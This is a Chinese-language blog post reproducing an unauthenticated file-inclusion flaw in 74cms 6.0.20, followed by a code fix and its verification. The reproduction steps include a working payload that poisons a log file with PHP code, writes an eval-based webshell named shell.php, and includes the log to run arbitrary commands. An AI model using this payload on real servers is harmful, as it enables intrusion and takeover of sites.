74cms 6.0.20版本文件包含漏洞复现

   日期:2024-12-27    作者:b1214291 移动:http://mip.riyuangf.com/mobile/quote/57878.html

74cms 6.0.20版本文件包含漏洞复现

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

01 漏洞描述

参考资料:

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

下载地址:

注意:

    本文复现版本:

    74cms_Home_Setup_v6.0.20.zip

    02 环境搭建

    74cms_Home_Setup_v6.0.20.zip

    注意:

    php版本为5.x,暂不支持php7

    具体的搭建流程可以参考互联网,因为很简单。

    03 复现流程

      http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl

          http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

          此时去看日志信息,一句话菜刀已经记录在日志里

            http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

            在根目录下写入shell.php文件,内容为一句话木马,包含成功

            在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x

            http://10.211.55.9/74cms/shell.php

            执行任意命令,发现执行成功

            04 漏洞修复

              未修改前:

              public function assign_resume_tpl($variable,$tpl){        foreach ($variable as $key => $value) {            $this->assign($key,$value);        }        return $this->fetch($tpl);

              加入下面这行代码:

              $view = new ThinkView;        $tpl_file = $view->parseTemplate($tpl);        if(!is_file($tpl_file)){            return false;        } // 修改之后的代码 public function assign_resume_tpl($variable,$tpl){        foreach ($variable as $key => $value) {            $this->assign($key,$value);        } // fix 20210203 $view = new ThinkView;        $tpl_file = $view->parseTemplate($tpl);        if(!is_file($tpl_file)){            return false;        }        return $this->fetch($tpl);    }

                View.class.php文件中106行fetch方法中修改  // 将110行 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); // 代码注释替换为 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

                05 修复验证

                    写入失败,漏洞修复成功


                    特别提示:本信息由相关用户自行提供,真实性未证实,仅供参考。请谨慎采用,风险自负。


                    举报收藏 0评论 0
                    0相关评论
                    相关最新动态
                    推荐最新动态
                    点击排行
                    {
                    网站首页  |  关于我们  |  联系方式  |  使用协议  |  隐私政策  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报  |  鄂ICP备2020018471号